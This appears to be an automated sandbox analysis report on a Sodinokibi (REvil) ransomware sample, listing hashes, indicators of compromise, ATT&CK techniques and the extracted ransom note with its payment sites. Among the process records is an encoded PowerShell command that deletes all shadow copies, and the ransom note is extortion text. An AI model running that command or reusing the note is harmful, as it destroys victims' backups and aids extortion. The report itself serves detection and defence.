sodinokibi | 140f831ddd180861481c9531aa6859c56503e77d29d00439c1e71c5b93e01e1a

General

Target

lg.bin.exe
Size

290KB
MD5

5f58902825d15d59528f98faf43b86c3
SHA1

f09e5e72b433d11a32efe2e5d63db0bc7b8def59
SHA256

140f831ddd180861481c9531aa6859c56503e77d29d00439c1e71c5b93e01e1a
SHA512

5aae01c51f026e7382bf20117e81cc06a975f561370e7f9170b02bc83e329cc1737d82cf721f3901cf4c2c9180423bdaf6a375a109d05e9ca164c7c08970a3c6

Score

10^/10

ransomware sodinokibi persistence

Malware Config

Extracted

Path

C:\m6x73942b6-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension m6x73942b6. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0BDB1394373EB709 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/0BDB1394373EB709 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: LyVhNK+dVAiLOc596CP4OUXtwbG1Ml9td3fR96ZQ/kQYCzo0DAzyr5OO4WMEN6QN ZF63ipb3Xakwc6Y19KpjvNylFrTQi7kXgcWRJjGRLDXeptD8ERuL47hi6EsTIdlM +BCR55MEXmJ1ltEsp+9yZ0YsCjg33OVEviJs2a2+eAcLLuC9E0wzUETv2AyEAOmb v8RIZrxkiA5BDSjZZ4ucJ8fXZBmhW2Y0YSW9Sk0/6/6vq8nf8IHvF71RvU90u1W+ LklmFOQ+L6s6KLow9pmzsmdH4COCLgjtJVSHI5ea4kMXMS8z2qqtVG7b+oBNm66m 4XMLPiWolVuEsbS+7FJprA+rTsy9HUpgiyoKFczfDrTgD8yUAhr6/amLuVH2/zjD +/WxpeT8W72ADiZAMCaaBa9MjMQ5B9AFgUGVNk46Wg4Ja7+VtChyYHif5mxcvT7Z rJ9wS2l+kwdxdw68r6uY1PY+eHCU6VvvalWqQ68IHgFmI6bRff1vP+4qpr1CFlUU BSr2GjaTczxwkHPYqdPFjMFXxhgzO3W8pbkUKvNb31muEOUK2ZNGb+C0vOl52m11 hlp0XDD0c5l3Hf+G5TpZZpe6OzuZTicNGS67fRC8utnoTFgcVvQepRT5eeSYAB8F zYlKh0eVun1spE4THge2ETXOlwUqsJVA1qillkMzD48K4ClOg8/rhocphdv0hST8 aq+ybWGVkIqGQZZb5ej3/tQ1UYgLV/fjYYob3DAkD+cV5CPI65aN22P+q/CO8NB1 EZo85z9iKQb/ZMRqznUWvrBxVYfdHrFSc+O2DCZcoD8taN8YD1cXXeygVzPawr1q Q+48WaufIkAsPinfnC4wzvFgDUFlrsd6XGbAe9J9irIfXcK/DerZgX5keQuAOT+P un4LnsgiLrY6qRRjTrQ5wqGa48kchbYnSn2aHM8ZBsupRQlnXok6SBXUaPczp6Rs LxHEcpwBpIT+AMGqMg7yIZyQ9UG9YyaSme1YJrnKfr0VZbQZxRTtaemMl9/TW2tE W/1TmU8Co0yi9uzwzzd47OKUHHKYTRqNAFpYEtj69D97GpQkAjo35S3sIjH+u6s3 p9sX4l9cCRGh6Ki/6GpKmDXImTnbkT/9izEjP7rBNeY8d4BLdVHs3OmQvF4GBern 1VAoE04Vr7E6PryDxkUUkXNw5pbm2WSitDUwVUXT5BhIixjER+ONf9HBplAtlc1V XHjps9iKsVZ/x5QPtbgT6NZX3acAN7SvqrZKQKDQCIHP47k+YdyON0YL6veVvXdf IY8vvg+dujaET4o5HznhMESVZHXdRtBPyHVemRsTuYXC/4ULD1niUg== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0BDB1394373EB709

http://decryptor.cc/0BDB1394373EB709

Signatures

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

lg.bin.exepowershell.exe

pid process

1768 lg.bin.exe
1836 powershell.exe
1836 powershell.exe

pid	process
1768	lg.bin.exe
1836	powershell.exe
1836	powershell.exe

Drops file in Program Files directory 26 IoCs

Processes:

lg.bin.exe

description	ioc	process
File opened for modification	\??\c:\program files\RepairTest.TTS	lg.bin.exe
File opened for modification	\??\c:\program files\ResetDeny.vstm	lg.bin.exe
File opened for modification	\??\c:\program files\SearchGet.docx	lg.bin.exe
File opened for modification	\??\c:\program files\UnblockDismount.mp4v	lg.bin.exe
File opened for modification	\??\c:\program files\FormatMove.tiff	lg.bin.exe
File opened for modification	\??\c:\program files\LimitGet.mov	lg.bin.exe
File opened for modification	\??\c:\program files\PopUnlock.wmv	lg.bin.exe
File opened for modification	\??\c:\program files\RepairInitialize.htm	lg.bin.exe
File opened for modification	\??\c:\program files\SkipFormat.svgz	lg.bin.exe
File opened for modification	\??\c:\program files\WriteGrant.midi	lg.bin.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\m6x73942b6-readme.txt	lg.bin.exe
File opened for modification	\??\c:\program files\CheckpointConfirm.vssm	lg.bin.exe
File opened for modification	\??\c:\program files\CopyUnlock.xla	lg.bin.exe
File opened for modification	\??\c:\program files\DisconnectOut.raw	lg.bin.exe
File opened for modification	\??\c:\program files\InitializeRestart.mov	lg.bin.exe
File opened for modification	\??\c:\program files\ResetResolve.tif	lg.bin.exe
File opened for modification	\??\c:\program files\RestoreCompress.txt	lg.bin.exe
File created	\??\c:\program files (x86)\m6x73942b6-readme.txt	lg.bin.exe
File opened for modification	\??\c:\program files\BackupUnpublish.m4v	lg.bin.exe
File created	\??\c:\program files\microsoft sql server compact edition\m6x73942b6-readme.txt	lg.bin.exe
File opened for modification	\??\c:\program files\RemoveRename.nfo	lg.bin.exe
File opened for modification	\??\c:\program files\SaveDisconnect.rle	lg.bin.exe
File opened for modification	\??\c:\program files\SendMove.mp4	lg.bin.exe
File opened for modification	\??\c:\program files\ShowSearch.mhtml	lg.bin.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\m6x73942b6-readme.txt	lg.bin.exe
File created	\??\c:\program files\m6x73942b6-readme.txt	lg.bin.exe

Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
ransomware

Processes:

lg.bin.exe

description ioc process

File renamed C:\Users\Admin\Pictures\LimitShow.tif => \??\c:\users\admin\pictures\LimitShow.tif.m6x73942b6 lg.bin.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

description	ioc	process
File renamed	C:\Users\Admin\Pictures\LimitShow.tif => \??\c:\users\admin\pictures\LimitShow.tif.m6x73942b6	lg.bin.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

lg.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1768	lg.bin.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeBackupPrivilege	2040	vssvc.exe
Token: SeRestorePrivilege	2040	vssvc.exe
Token: SeAuditPrivilege	2040	vssvc.exe
Token: SeTakeOwnershipPrivilege	1768	lg.bin.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

lg.bin.exe

description	pid	process	target process
PID 1768 wrote to memory of 1836	1768	lg.bin.exe	powershell.exe
PID 1768 wrote to memory of 1836	1768	lg.bin.exe	powershell.exe
PID 1768 wrote to memory of 1836	1768	lg.bin.exe	powershell.exe
PID 1768 wrote to memory of 1836	1768	lg.bin.exe	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

lg.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\v1lw78yfwa0g.bmp"	lg.bin.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

C:\Users\Admin\AppData\Local\Temp\lg.bin.exe
"C:\Users\Admin\AppData\Local\Temp\lg.bin.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Drops file in Program Files directory
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- Sets desktop wallpaper using registry
PID:1768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1880

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:2040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

memory/1768-0-0x00000000005CA000-0x00000000005CB000-memory.dmp

Filesize
4KB

Download
memory/1768-1-0x00000000006B0000-0x00000000006C1000-memory.dmp

Filesize
68KB

Download
memory/1836-2-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads